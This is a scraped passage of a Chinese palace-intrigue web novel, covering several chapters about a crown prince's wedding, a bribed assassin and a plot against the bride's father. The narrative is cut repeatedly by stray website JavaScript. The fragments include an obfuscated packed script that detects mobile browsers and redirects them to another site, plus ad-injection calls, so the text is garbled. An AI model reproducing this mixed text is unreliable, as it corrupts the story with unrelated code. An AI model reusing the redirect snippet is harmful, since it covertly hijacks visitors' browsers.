那人咽了口唾沫,正在思索该如何回答,就看她眯了眯眼,又把话头抢了回去。 “哦……我见过你,你是安王的人。”江御暮收起剑,从床上拎起一根腰带扔给时异,让他自己包扎,接着又问,“安王派你来我府上做什么?” 话都递到这一步了,他要是再听不懂,就别怪江御暮不给他机会了。 “江小姐何必明知故问?殿下派卑职来此,自然是为了取这叛徒性命!” 离间计嘛,他明白,能配合。 江御暮却翻了个白眼。 他明白个屁!闲得没事提叛徒做什么啊?一句话,把底都漏了。 时异是不是叛徒,他知道,安王也知道,可他们都以为她不知道。 此人这样一说,反倒让时异以为他是安王派来陪他演苦肉计的了! 眼看离间不成,江御暮也懒得废话,只道:“有我在,你便杀不了他,还是趁早回去吧。” 那人还以为她这是在收买时异的人心,便配合道:“即便卑职铩羽而归,安王殿下也会继续派别人来的。他一日不死,殿下便一日不能安心。” “这好办。”江御暮从腰间解下钱袋扔给他,“这些钱,够不够封住你的嘴?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741895|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那人打开钱袋一看,已经超过了自己的预期。 于是他收刀入鞘:“江小姐既然如此慷慨,那卑职便回府禀明殿下,就说时异已经死了,如何?” 江御暮语气冷淡:“慢走不送。” 那人离开以后,她才从地上捡起匕首,接着去看时异的伤势。 “多谢小姐救命之恩,卑职……无以为报。” 一席谢语说得口是心非,时异伤痛难忍,满心只想着一个问题—— 殿下派师兄来假装杀我,帮我获得江小姐的信任,为何不提前告诉我一声呢? 很快,他又帮自己找到了合理的解释—— 也许是殿下在考验我随机应变的能力吧。 正如是想着,就听江御暮关切道:“你的伤太重了,必须尽快送医。” 时异依然敬业,扮演着被主子派人追杀的叛徒:“卑职不宜出门,万一被安王的鹰犬发现了,会给小姐惹麻烦的。” 江御暮不多耽搁,即刻起身离开,只留下一句:“我去给你请郎中。” 至于请谁,自然是他心心念念的“神医姑娘”。 费红英一早回到国师府邸,便补了一整日的觉,现下刚刚起床。因她以闭关修炼的理由遣走了院中的仆从,恰好方便了江御暮悄悄潜入,避着一众耳目把她带出府外。 听完来龙去脉,费红英颇为不解:“你既早知他是穆归礼的人,干脆趁这个机会除掉他算了,还留着做什么呢?” 江御暮没有多做解释,只道:“留着有用。” “可他终究是个祸害呀,万一哪天给你背后捅一刀……”忧虑之下,费红英灵机一动,“要不,我趁这次治伤的机会弄残他一两条胳膊腿?放心,保证神不知鬼不觉。” 江御暮摇摇头:“弄残了,他还怎么去挣救驾之功呢?” 费红英更为不解:“你还真打算成全他的功劳啊?” 江御暮玩笑道:“我不是一向喜欢成人之美的吗?” 费红英嘁了一声,不被她岔开话题,问道:“那你会把时异的身份告诉太子吗?” 江御暮想了想,低声道:“这就要看他自己能不能发现了。” 费红英又问:“对了,你不是骗时异说我死了吗?这次又让我出现在他面前,你打算怎么解释?” 江御暮笑而不语,没有解释。 因为时异压根不敢问。 甚至,他还会主动帮她圆起这个谎。 “这位姑娘……想是神医姑娘的双生姐妹吧?” 在场三个人都知道这是一句离谱的鬼话,却没有人戳穿,共同维持着心照不宣的表面和谐。 费红英手脚麻利,不怎么说话,忙活半晌才冒出一句:“我去配些药来。” 屋内唯余两人,时异抓住这个机会,试探着开口道:“小姐,万一安王殿下以后知道卑职还活着,不肯放过卑职怎么办?” 江御暮瞥他一眼:“你自己有何打算?” 时异捂着伤口,跪行至江御暮身前。 “卑职求太子妃施恩,唯盼太子殿下……庇佑一二。” 73. 江唤玥红妆送长姐,明眼人苦心劝…… 事情发展得比时异预料中顺利许多,太子大婚之日,他如愿站在了江府的送亲队伍里。 因着江家主母谭昭不在府中,宫里特意派了几个年长的宫女来为江御暮开脸梳妆。谁知她们一进江府,就被请到客堂喝茶去了。 领头的妇人笑着推拒:“这怎么使得?可别误了吉时哟。” 江府管家把沉甸甸的赏钱放进她们手里:“放心吧,不会误了时辰的。我们大小姐的贴身丫鬟已经去帮她梳妆了。” “贴身丫鬟?”妇人有些意外,“想是个年轻的丫头吧,什么经验都没有,能做好这些活计吗?” 管家笑了笑:“是年轻些,被我们大小姐宠得跟亲妹妹似的。如今小姐就要出阁了,舍不得跟她分开也没办法,只能让她最后帮小姐梳一次妆了。” 宫人们闻言倒也没再坚持。又能偷懒,又能领赏钱,她们没有反对的理由。 只是那妇人仍觉得奇怪,继续与管家闲聊:“既然是贴身丫鬟,想是小姐用惯了的,直接充作陪嫁带入太子府不就得了?怎么还闹上了这一出伤离别呢?” 管家语塞片刻,胡扯道:“那丫头也已经许了人家,过几日就要成婚了。” 说完咽了咽口水,赶忙岔开了话题。 其实江御暮身边哪有什么丫鬟?陪着她梳妆的共有两人,一个是早已改做“小厮”的江连镜,另一个是昨天半夜才赶回京城的江唤玥。 “唤玥,你怎么回来了?”看到这个阔别已久的妹妹时,江御暮心底有说不出的高兴。 江唤玥环着她的脖子,本想像小时候那样挂在姐姐身上,江连镜却把她拉了下来。 “不许瞎闹,别把她的婚服压皱了。” 江唤玥踌躇片刻,还是规规矩矩松开了手,小心翼翼地拍平江御暮婚服上新添的浅浅褶皱,说道:“长姐成婚,哪有小妹不来相送的道理?我可是一听闻陛下赐婚的消息,就缠着表姑让她派人送我回来了!” 江御暮摸着她的发顶,轻声问道:“母亲呢,没和你一起回来?” “没有。”江唤玥摇摇头道,“路远,母亲懒得折腾。” 江御暮微微一笑,没说什么。 但她心里明白,谭昭是自愿作为“人质”留在涵州的。 常言虽说疑人不用,用人不疑,但江淮照与长公主相隔甚远,沟通不便,若说十余年来从未生过猜忌之心,怕也不太可能。 如今谭昭由长公主庇护着,平日生活如何优渥自不必赘言,可一旦江淮照反水生乱,她就必死无疑。 不过二人终究血脉相连,长公主也并未把事做绝,至少把他的一双儿女都放回了京城,这也算是一种表达信任的方式。 “长姐,我来为你梳妆吧。”江唤玥抓着江御暮的发尾,满目期待道。 “去去去。”江连镜眼看就要被人抢活,很不乐意,“小丫头片子,还扮上大人了。” 江唤玥也不服气:“我都十五岁了,怎么不是大人?” 每次他们斗嘴,都是江御暮来打圆场,这次也不例外。 “好了好了,唤玥,你就来帮我上妆吧。” 她拉着妹妹坐在自己腿上,又仰头去看身旁闷闷不乐的江连镜。 “你来帮我盘发,如何?” 江连镜没有应声,冷着脸走到她身后,从妆台上拿起梳子,轻轻在江唤玥头上敲了两下。 示威似的。 江唤玥还他一个鬼脸,在江御暮腿上调整了一个更舒服的坐姿,回头在妆台上挑选半晌,拎起一根棉线,神情有些尴尬。 “长姐,我不会给人开脸……” 江御暮听见身后传来江连镜的一声轻笑,江唤玥紧接着便把棉线扔到了他脸上。 “没事,那就不开了。”江御暮捏了捏妹妹的脸,“正好,姐姐怕疼。” 江唤玥甜甜一笑,略去这一步继续给她上妆。 江连镜手上的动作温柔,嘴上却不饶人,语气冷硬道:“你就偏心她吧。” 江御暮没有反驳,只道:“谁不偏心?你倒摸摸你自己的心,是不是偏在左边的?” 江连镜张了张口,本想回呛一句,忍了忍,终究还是没有出声。 算了,大喜的日子,不想跟她吵架。 反正吵也吵不赢。 江唤玥眼见气氛不对,连忙扮起小黄莺来,叽叽喳喳跟江御暮聊起涵州的趣事,聊着聊着,氛围便轻松不少,江连镜脸上也带上了点笑意。 良久,江唤玥终于停了手上的忙碌,从姐姐腿上跳下来,让开铜镜给她照,还凑在她耳边笑盈盈道:“所谓倾国倾城,大抵如是。” 江御暮无奈一笑,似乎对这个词很有意见。 倾国倾城,只用脸怎么可能做到,得用兵啊。 不过江御暮没打算跟妹妹争执这些,只用两根手指捏住江唤玥的下巴,在她如剥壳荔枝似的脸颊上亲了一口,留下一枚赤色印痕,笑道:“就数你嘴甜。” 江唤玥呀了一声,连忙又拿起一盒唇脂,用手指蘸来补在她的唇上,如小大人一般告诫她不许乱蹭。 江连镜也为她盘好了长发,从木盒中捧起沉甸甸的发冠,小心翼翼地戴在她头上,用十八根金钗固定完毕。 他轻舒一口气,移目去看铜镜,恰好与江御暮在镜中对视了。 “多谢你。”她说。 江连镜微微点头,移开了目光。 江唤玥帮江御暮补完唇脂,看着这张再熟悉不过的面庞,不知为何,竟然有点想哭。 她不愿被人看出自己的孩子气,趁眼泪尚未流出,一下子扑进了江御暮怀里。 “长姐……”江唤玥对她耳语,声音很轻,“我永远当你是我亲姐姐。” 江御暮抚在她背上的手猛然顿住,继而归于平静,继续轻抚她的脊背。 看来唤玥已经知道她的身份了,此去涵州,她变化不小。 “嗯。”江御暮答应下来,“说好了,我也永远当你是亲妹妹。” 她并未压低声音,果如所料,又在镜中撞上了江连镜复杂的目光。 更准确的说,应该是她守株待兔,等着他撞上自己的目光。 江御暮挑了挑眉,大概是想说:我还欠你一个问题,你不打算现在问清楚么? 江连镜似是看懂了她的表情,抱着臂摇了摇头,用无声的口型说道:“以后吧。” “吉时将至!”门外已经有人出声提醒。 江御暮给自己戴上红盖头,独自推门而出,来接她的仆妇已然等候在此,前呼后拥,连声道贺。 热闹的声响渐渐远去,江家兄妹二人这才走出房门,站在檐下望着空无一人的院落,说不清都在想些什么。 不知过了多久,江连镜抬眼看向妹妹的脸颊,蹙眉道:“还不快擦了去 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?像什么样子。” 虽是训斥的语气,声音倒也温柔。 江唤玥抹了抹脸,手上沾来一片鲜红似血的唇脂。 她叹了口气,抬头走近兄长几步,问道:“你是怪我不像样,还是怪长姐偏心眼?” 江连镜避而不答,反过来问道:“她方才那句话什么意思?” “哪句话?”江唤玥明知故问。 江连镜瞟她一眼:“永远当你是亲妹妹。” 江唤玥与他打起太极来:“就这个意思,有什么难懂的?” 江连镜取出手帕,帮她擦干净脸上的红痕:“这话说的,倒像你们现在并非亲姐妹似的。” “本来就不是亲姐妹啊。” 江唤玥话音一落,江连镜就捏紧了手帕,帮她擦脸的动作也停滞不动。 谁知她旋即话锋一转,没有说出江连镜意料之中的答案:“长姐是姨娘生的,和咱们并非同母所出,当然不算亲姐妹了。” “姨娘?”江连镜冷笑一声,“你见过这位姨娘吗?” 江唤玥理所当然地摇摇头:“我是咱们家最晚出生的,自然无缘得见早早病逝的姨娘。” 江连镜紧追不放:“那你觉得,整个江府里,有人见过那位姨娘吗?” 江唤玥揣着明白装糊涂:“长辈们应该都见过吧?你去问爹娘啊,问我做什么?” “不必去问。”江连镜后退两步,靠在阶前的柱旁,“有一年娘过生辰,他们夫妻俩都喝多了。江御暮去照顾娘,我去照顾爹。那天晚上,我被爹拉着说了许久的话。” 其中江连镜印象最深的一句便是—— “爹这辈子,只有过你娘一个女人,也只要她一个,足矣。” 虽然第二天早上醒来以后,江连镜再问起此事时,江淮照绝口不愿认账,坚称自己昨夜是喝醉了乱说话,但江连镜才不信他这番说辞。 借口,明显的借口。 江连镜从那时起就认定了一个事实——江御暮的身世一定有蹊跷。 “唤玥,咱们是亲兄妹,你告诉我一句实话。” 江连镜的语气轻飘飘的,像商量,又像祈求。 这些天他经了太多事,桩桩件件都指向一个答案—— “江御暮是得月国长公主的女儿,因而被许多人称为‘小殿下’,对吗?” 江唤玥定定地看了他一会,低下头不出声。 江连镜双手抓住她的胳膊:“她不是咱们的亲姐姐,算起来,只是表姑的女儿,血脉远着呢,对不对?” “只是?”江唤玥抬头对上兄长不可言说的眼神,“你要记住,不论长姐是谁的女儿,她都姓江。和你我一样,姓江。” 江连镜旋即反驳道:“倘若有朝一日,她们成了大业,难道江御暮不会改回故国的国姓!?” “国姓?”江唤玥忽而一笑,不知是不是在笑他的天真,压低声音道,“倘若真有那日,国姓自然也要顺势而改。你我不曾见过昔日盛景,哪知朝野上下曾经只认太后,不认皇帝。哥哥,你不要忘了,江御暮的江,也是先太后江远筝的江!” 江连镜的嘴唇抿了抿,拦住所有不合时宜的话语,良久方叹:“唤玥,你当真长大了。” 兄妹二人相顾无言,半晌。 “吉时已至。”江唤玥深深望他一眼,“父亲‘抱病’,哥哥,你该替他去太子府里喝喜酒了。” 74. 享嘉礼锱铢算不尽,敬喜酒心绪道…… 太子大婚的筹备时间虽短,却是声势赫奕,排场十足。 满京城张灯结彩,喜绸漫天,接亲送亲的队伍俱有城防兵开道,连兵士们的铠甲上都挂着精致的红缎小花。 李节是其中唯一的女兵士,顺理成章地被派去护送江御暮所乘的喜轿。 被李节扶上轿时,江御暮刻意放慢动作,换来了与她简短对话几句的时间。 “你们近日发饷了么?”江御暮没有寒暄,直入正题。 李节没想到她会问起这个,大喜的日子里也不好向她抱怨什么,便含糊道:“说是迟些发。” 话虽如此,奈何明日复明日,谁也说不清“迟些”到底是个什么时间。 兵士们私下怨气颇深,都道:“上头总说国库吃紧,等今秋征齐赋税再一并补发欠咱们的饷钱。可我怎么觉得国库充裕着呢?如今太子娶亲,白花花的银子泼出去能砸死人,怎么就没钱给咱们发饷了?” 江御暮也曾向江淮照问过国库深浅几何。 “如今已是外强中干了。太子大婚所费的银两,一多半都是从皇帝的内帑里掏出来的。”江淮照如是答道,继而做出推测,“依我看,秋收之前很可能要再加几条税项,否则根本堵不上先前欠下的窟窿。” 如今尚且只有吃不饱官粮的人生出怨言,待到加税之时,只怕天下都要民怨沸腾了。 而那时,毫无疑问将是涵州起事的最佳时机。 “不会太迟了。”她说。 李节以为她在安慰自己,便笑笑道:“借您吉言。” 江御暮坐入喜轿,开始闭目养神,同时竖起耳朵去分辨轿子外部的可疑声响。 穆归礼派来刺杀她和太子的人,此刻会隐匿在近处的热闹人群之中吗? 或许吧,但他们一定不会这么早就动手。 要动手,也要选在她和穆归衡同在一处的时刻。喔,时异也得在场,这样才能及时救驾。 除此之外,还得保证那时他们身边不会有太多人。否则人人都抢着救驾,哪还轮得到时异为自己争功。 想来想去,似乎只有等到婚宴结束,宾客散尽,穆归衡回到寝殿以后,才是他们动手的最佳时机。 晚是晚了点,不过无妨,她耐心等着就是了。 不多时,喜轿已至太子府。喜气洋洋的丝竹乐声不知已经奏了多久,隔着很远都能听到。 江御暮蒙着盖头,被左右两位妇人搀扶着往前走。虽然视线受阻,但她对太子府内的布局十分了解,不难推知自己现在身处正殿前方。 “太子妃大喜,在这停步就是了。”右边的妇人说完便松开她的手,不知退去了何处。 左边的妇人把她的手交到另一人手中,笑道:“太子殿下大喜。” 喔,是穆归衡。 江御暮感觉到他捏了捏自己的手,似乎还对她说了一句什么,只是被奏乐之声盖过去了,听不清楚。 皇帝端坐在殿前,居高临下的目光带上了些许欣慰。 费红英站在他身边,附耳提醒道:“陛下,吉时到了。” 皇帝目光向远处一扫,皱了皱眉,挥挥手让老内监去主持典仪,宣读册文,接着扭头对费红英问道:“江淮照呢?真敢不来?” 费红英面色如常:“说是重病未愈,不能下床。” “哼,老狐狸。”皇帝扯了扯嘴角,“依你之见,他这病是真的还是装的?” 如果是真的,皇帝可以不与他计较。如果是假的,那便是欺君之罪,砍一百次头都不过分。 “陛下英明,他确是装病。”费红英躬身道,“不过即便是假的,微臣也有办法让他变成真的。” 皇帝闻言瞥她一眼,没有作声,也没有移开目光。 费红英继续为他言明利害:“欺君罪人本就该杀,可江淮照毕竟是太子妃的生父,若依律论处,难保太子妃与太子之间不会因此生出嫌隙。如今,既然江淮照自称病重,陛下不妨就顺水推舟,帮他弄假成真,也好出了您心头这口气呀。” 皇帝慢慢收回目光,不肯轻易袒露真实想法,假仁假义道:“有人说江淮照装病是为了急流勇退,不日便将辞官归乡,以求保全自身。若真如此,倒也是人之常情。” “陛下宽仁。”费红英违心赞道,“但……请恕微臣直言。若为太子殿下的将来考虑,江淮照便非死不可。外戚之患,不得不防啊。” 说到这一层,皇帝的目光终于彻底冷了下来。 他望着自己最为珍视的孩子,在沉默中接受他和他新婚妻子的跪拜。 此时此刻,他好像只是一位心愿得偿的父亲,享受着再普通不过的天伦之乐。 然而与此同时,他也是这片天下的君主,劳碌半生,享乐半生,最执着的心愿便是将自己的皇位一代代传承下去,不落他人之手。 如此看来,江淮照确实非死不可。不光是他,还有他的儿子江连镜,也得尽快铲除。 不过…… “大喜的日子,说这些不吉利的话做什么?”皇帝斜睨费红英一眼,好像在斥责她口无遮拦,但语气并不重,反而显得别有深意。 费红英很显然领会到了他的弦外之音,微微一笑道:“微臣失言,陛下莫怪。” 拜完天地,行完大礼,妇人们将江御暮送入内院的寝殿,又欢天喜地赶回来领赏。 今日宾客甚多,皇帝难得做出平易近人之态,与一众近臣同桌共饮,喝了许多酒。 夜幕降临,皇帝起驾回宫时,特意将国师带在了身边。 圣驾渐渐远去,直到再也听不见太子府内的丝竹乐声,皇帝才对费红英说了一句—— “给他选个好日子,尽快上路。” 费红英屈膝下拜,藏起唇角一抹笑意。 “微臣,谨遵圣旨。” …… 皓月临空之际,太子府的宾客已经散去了不少。 穆归衡恶名在外,几乎没人敢来给他敬酒,因而直至此刻,他还没有半分醉意。 转头看看,竟然连石涅都喝多了,抱着酒壶不撒手。 穆归衡对半醉半醒的齐陌吩咐道:“带他回去休息吧。” 齐陌应了一声,忽然反应过来哪里不太对,脱口便问:“殿下,您怎么还在这呢?太子妃该等着急了吧?” 穆归衡没法解释。 在梦里,他分明记得自己走进寝殿时,面上有一层微醺的红晕,显然是喝了好些酒的。 可是此时此刻,他却比谁都清醒。 是他的梦不准么? 抑或他回寝殿之前, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 还要再喝几杯? 正这般思索着,穆归衡便听到身后传来一句—— “太子殿下,可否借一步说话?” 回头一看,来者竟是江连镜。 穆归衡的目光从上往下一扫,定在他手中的酒壶上,恍然大悟:喔,我的梦没错。 江连镜说是来敬酒的,其实态度并不算恭敬,礼数也不周全。 但穆归衡并未跟他计较。论辈分,江连镜现在是他的小舅子。一家人嘛,有什么礼数好讲呢? “你刚来么?”穆归衡问。 江连镜摇摇头,继而伸手指向离正殿最远的一张桌子:“早来了,一直坐在那。” “怎么不坐近些?”穆归衡微笑道,“想是底下人不懂事,轻慢了你。” “殿下误会了,不干他们的事,是我自己坚持要坐远些的。”江连镜顿了顿,又添上半句解释,“不爱凑热闹。” 穆归衡没有多想,带他去一旁的桌边坐下,主动倒上两杯酒,笑道:“其实咱们私下里讲话,你不必一口一个‘殿下’,太生分,直接叫‘姐夫’就是了。” “姐夫?”江连镜喃喃片刻,好像在细品这个称呼,继而发出一声哼笑,“算了,还是叫殿下吧。” 穆归衡也不强求,一手握着自己的杯子,轻碰一下放在江连镜面前的另一个酒杯,姑且算是跟他碰杯了。 江连镜没有动作,冷眼瞧着他自顾自饮尽了第一杯酒。 “你方才找我,是想说什么?”穆归衡给自己倒上第二杯酒。 江连镜这才端起自己的酒杯,喝完方道:“本来有很多话想说,现在又不知道该说什么了。” 穆归衡又喝一杯,眼中的笑意似乎永远不会散去,惹得江连镜莫名看他不惯。 “是不是想说,让我好好照顾你长姐?”穆归衡问,“又或者……” 或者什么呢? 穆归衡没说完后半句话。 在他看来,江连镜能跟他说的也就是这些了,再没别的话题可聊。 “照顾?”江连镜仿佛听了个笑话,自饮一杯道,“太子殿下养尊处优,竟也会照顾人么?” 隐秘的敌意如飘风过耳,穆归衡没太往心里去,跟他碰杯道:“万事开头难,我会慢慢学着照顾她的。” 江连镜一拳打在棉花上,自己回过味来也觉得没趣。 二人不约而同地沉默下来,周围静悄悄一片,反而显得倒酒与碰杯的声音格外刺耳。 良久,穆归衡忽然正色看向江连镜,双手端起酒杯,郑重道:“这杯算我敬你。” 江连镜诧异地看他一眼,拒绝道:“我可受不起。” 穆归衡保持着举杯的动作:“我知道,你之所以言语带刺,皆因我拒婚在先,言语冒犯了你长姐。不论你信或不信,那都并非我的本意。我将御暮视如珍宝,今后绝不会再让她受任何委屈。” 江连镜不想听这段自白,一点都不想。 可他已经没有理由拒绝了。 “太子殿下说到做到?” “一言既出,驷马难追。” 最后一次碰杯,江连镜忽然有点后悔来赴宴了。 从今以后,他也无法粉饰太平,用自欺欺人的理由解释自己对穆归衡的敌意源于何处了。 75. 上屋顶于英辨足印,藏刺青系统背…… 寝殿外的生面孔很多,除引礼的妇人们外,还有不少忙碌整晚的乐师。穆归衡远远便发现守门的护卫中亦有生人,走近一问,果然是江御暮的护卫时异。 几日前,江御暮已专门知会过他,说那护卫自请与她同入太子府。穆归衡没有拒绝,在他看来,也许是江淮照放心不下女儿,才打算派个自己人守卫在侧。 “太子殿下大喜。”引礼的妇人们成列上前,每人手中都捧着一件礼器,领头的妇人手执喜秤,询问他现在是否可以进殿。 穆归衡本欲点头,忽又想起了什么,摆摆手示意她们暂且退后,继而对门口的护卫吩咐道:“去看看屋顶上有无异状。” 他记得很清楚,梦里他进殿之前,江御暮曾警惕地看了看天花板的方向。那时他猜不出她在看什么,如今倒是可以主动找找答案了。 守门的护卫共两人,除时异外,另一个名唤于英,年纪稍长,是石涅他们的大师兄。 于英应了声是,率先跃上屋顶。时异心里七上八下,却不敢表现出来,只能紧随其后,一起去屋顶查看情况。 他知道今夜会有安王派来的刺客,但不知他们藏身于何处。倘若易地而处,由自己来刺杀太子,多半会先在屋顶上观察全局,摸清所有护卫的位置再找突破口。 眼下太子让他们去屋顶查看情况,难道是已经听到了什么风声?还是刺客们有所疏漏,被他发现了可疑之处? 屋顶四面都是斜坡,不好行路,于英在屋脊上打头阵,时不时停下脚步蹲身查看瓦片上的痕迹。 时异跟着他走走停停,目光从未落在近处,四下寻找着刺客们的身影,幸而一无所获,使他松了口气。 看来他们并未藏身于此,还好还好,否则真要出师未捷身先死了。 与此同时,穆归衡担心丝竹乐声使人难以察觉细微的异样响动,便叫停了乐师,周遭瞬时安静下来。 少倾,于英回头看他一眼,扔下一句:“可以了。”语毕不多等待,直接跃下屋顶,恰好落在穆归衡身前不远处。 时异察言观色大半日,也估摸出了几分门道,猜测于英应该是太子护卫里领头的一位。既然他都发话了,自己哪有不听的道理? 待他回到地面上,于英已经开始汇报情况了。时异只是落后一步,就少听了一段对话。 他连忙退至于英身后,竖起耳朵的同时还不忘告诫自己,以后绝不能再这样拖拖拉拉了,否则还怎么办好安王殿下交代的差事呢? “几个人?”穆归衡问。 于英对答如流:“从鞋印的尺寸和磨损程度来看,应该共有三人,鞋底的花纹明显与自己人不同。从手印的位置和方向来看,他们当时应该是趴在屋顶上,观察院内诸人的动向。” 时异脑袋嗡的一声:他们还真的上过屋顶了? 穆归衡想了想,让他们先回门口守着,不要妄动。继而走向引礼的妇人们,只接过用于挑起盖头的喜秤,让她们提前退下,不必再管那些复杂冗长的礼仪。 领头的妇人怯怯道:“殿下请恕臣妇多嘴,大婚的礼仪都是有定数的,多少年的老规矩了,怎么能说省就省去了呢……” 她才劝到一半,看见穆归衡面露不悦,便不敢再往下劝了,只得作罢。 其实穆归衡此举也是为了她们好。在房顶留下鞋印的三人必定来者不善,很有可能意图行凶。这些妇人若是在此久留,万一被牵连其中,成了刺客的刀下亡魂可怎么好? 同样的道理,乐师们也被他打发走了。院内便只剩下寥寥几个护卫。 穆归衡进殿前,于英问他:“殿下,要不要加强防卫,多叫几个弟兄来守着?” “不必。”穆归衡不假思索道。 守卫太严,那三个人不敢现身了怎么办? “抓活的。”他低声道。 “是。”于英跃跃欲试。 时异在一旁愈发心慌起来,隐隐有一种不太好的预感。 他现在已经顾不上想自己能不能挣来救驾之功了,只盼刺客们不要被活捉。就算被捉了,也别把安王殿下供出来。 穆归衡看他一眼,说了句不必紧张,旋即推开门走进了寝殿。 入目是再熟悉不过的陈设,只是与梦中视角不同,百盏花烛火光熠熠,如落日熔金。 穆归衡关上门,抬头看了看,忽而似有所悟——算算时间,梦里的江御暮抬头张望时,应该是听到了于英和时异的脚步声。也就是说,她的动作误打误撞给穆归衡提供了线索,助他发现了屋顶的蛛丝马迹。 要不要把这个巧合告诉她呢? 穆归衡想了想,还是决定闭口不谈。 他们的大婚之夜,总不能让别有用心的人扰了兴致。 穆归衡握着喜秤向江御暮走去,坐在她身边柔声问道:“你方才哼的是什么曲子?” 江御暮十分惊讶:“你怎知我方才哼了段曲子?”她的声音并不算大,总不至于连门外的人都能听见吧? 穆归衡提醒她:“我梦到过此刻的场景。”比武招亲那日,他告诉过江御暮的,难道她已经忘了么? 不是江御暮记性差,是她一整日都在等刺客出现,顾不上想其他事情,所以一时没反应过来。 “那我在你的梦里是如何回答方才那个问题的?”她问。 穆归衡一边回忆,一边掂了掂手中喜秤,金镶玉颇有分量,能当兵器用。 正好寝殿里没有趁手的兵器,他便把喜秤放在旁边随手能拿到的地方,直接用双手掀开江御暮的盖头。 “你说它叫婚礼进行曲,作曲家……”他看着她的双眼,说到一半忽然卡了壳。 想吻她。 因为被她注视着,因为被她期待着。想吻她。 但是不行,他还有一个艰巨的任务尚未完成,与之相比,其他事都要往后放一放。 “作曲家……呃,总之很有名就是了。”他没想起来更多细节,只得草草接上刚才未说完的话。 江御暮对他笑了笑:“既然你已经知道了,为什么还要问我啊?” “我现在不问,当时又怎么能梦到答案呢?”穆归衡说。 他现在终于有点理解梦里的自己了。 如果不是被今日的自己骂醒,当初的自己又怎么能下定决心,与江御暮再续前缘呢? 实践证明,激将法对自己最有用。 穆归衡看向窗边,仿佛冲破了时间与空间的距离,与数日之前的自己遥遥对视。 他与江御暮的每一句对话都 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在梦中预演过,但此时此刻,他内心的欣幸和安宁是虚无缥缈的梦境无法触及的。 他拉着她走到梦境的中心,从身后抱住她,刻意炫耀般吻一吻她的耳后,骂从前的自己胆小如鼠,瞻前顾后,杞人忧天…… 直到听见她说出那句:“不着急,慢慢来。”穆归衡才在她唇边印下轻吻。 他知道,自己的梦在这一刻归于混沌,他的任务已经完成了。 一吻绵长,穆归衡结束得恋恋不舍,捧着江御暮的脸说道:“有个问题,我一早想好了要在今夜问问你,你可愿回答?” “嗯。”额头相抵之际,唯有他听得见她的声音,“什么问题?” 穆归衡环住她的腰,轻声道:“你说过,你也曾梦见过我们成婚的场景。” 江御暮用鼻尖碰了碰他的鼻尖,笑道:“你想听这个啊?” “嗯。”穆归衡又亲了亲她的唇角。 江御暮微微一笑。没问题,她早就编好了。 “起初,我梦到了漫天的红绸,和满室的烛火。” 穆归衡勾唇道:“和现在很像。” 江御暮点点头,接着说:“后来你出现了,丰神俊朗,眉眼如画。” “然后呢?”穆归衡捏捏她的脸,似是不满她这样慢悠悠地卖关子,催促她快点往下讲。 江御暮却向下扯了扯嘴角,语气也随之一转,变得忧愁起来:“再后来,你对我说了几句话。虽然顶着你的脸,却不是你自己的声音。” 穆归衡笑意渐褪:“那是谁的声音?” 江御暮摇头道:“我也不认得,那声音很陌生,忽男忽女,时而年幼如小童,时而苍老如翁叟。” 穆归衡面色微变:“他都跟你说什么了?” 江御暮轻叹道:“他说,他是寄寓于你体内的系统,能通过你的眼睛看到我。” 穆归衡随即一怔,他记得系统说过,它确实与自己共享同一双眼睛。 “是真的吗?”江御暮摆出一副求知的神情,“你看见什么,它就能看见什么?” 穆归衡的脸色愈发难看,无声点了点头。 江御暮眸光一动。瞎猫撞上死耗子,还真让她给蒙对了。天时地利人和齐备,看来,她以后再也不必担心自己腰后的刺青被他看到了。 “可是……”江御暮双眸低垂,偏过头望一眼不远处的床榻,似有重重顾虑,低声道,“这种时候,我不想它看见我们……” 穆归衡此前从未意识到这个问题,体内的系统已经许多天不曾作妖,他几乎就要忽视了它的存在,幸亏今日被江御暮提了个醒。 恰在此时,沉寂许久的系统忽然出声,忿忿道:“小人之心!老夫没兴趣看你们共度春宵!” 穆归衡充耳不闻,对江御暮道:“我先去把烛火熄了。” 按理说,这些花烛本该彻夜长燃,讨个好彩头。奈何情况特殊,他也顾不得这些礼俗了。 江御暮坐回榻上,看着百盏灯烛一一熄灭,寝殿内随之一点一点变暗,最终只剩月光洒落在地,衬得周遭更安静了。 穆归衡慢慢走到她身边,将一段喜绸放进她手中。 “帮我蒙上眼睛吧。” 就像湖心春夜,她第一次吻他时那样。 76. 鬼蜮蛇蝎乘间投隙,燕侣莺俦共度…… 不知是不是灯烛被熄的缘故,隐匿在暗处的刺客们误以为江穆二人已经睡下了,彼此交换一个眼神,依次向寝殿后窗绕行而去。 江御暮刚用喜绸覆上穆归衡的双眼,便听到一阵窗轴慢慢转动的细微声响。 穆归衡显然也有所察觉,心中暗道一句:他们可真会挑时候。 继而取下蒙眼的红绸,抚着江御暮的脸对她耳语道:“等等我。” 语毕伸手取来搁在床边的喜秤,挑开帷幔观察片刻,目光落在几丈外的一扇屏风后。 那里隐约能看到几团黑影。 “怎么了?”江御暮佯装不知,轻声问道。 “有苍蝇。”穆归衡答。 江御暮对他的敏锐颇感意外:反应这么快,难道他连今夜有刺客的事都提前梦到了吗? 她凑近些许,把下巴搁在穆归衡的肩膀上,顺着他的目光向外望了望。 “屏风后面?”她问。 “你别管了。”穆归衡捏一捏她的耳垂,在她唇角轻吻一下道,“交给我。” “好。”江御暮乐得清闲,退回帷幔之内道,“早去早回。” 帷幔密不透风,她看不见殿内的情形,靠着软枕静候许久,才听到一声痛呼。 还好,不是穆归衡的声音。 此声一响,门外的于英和时异立即闯进殿来,提刀欲战。 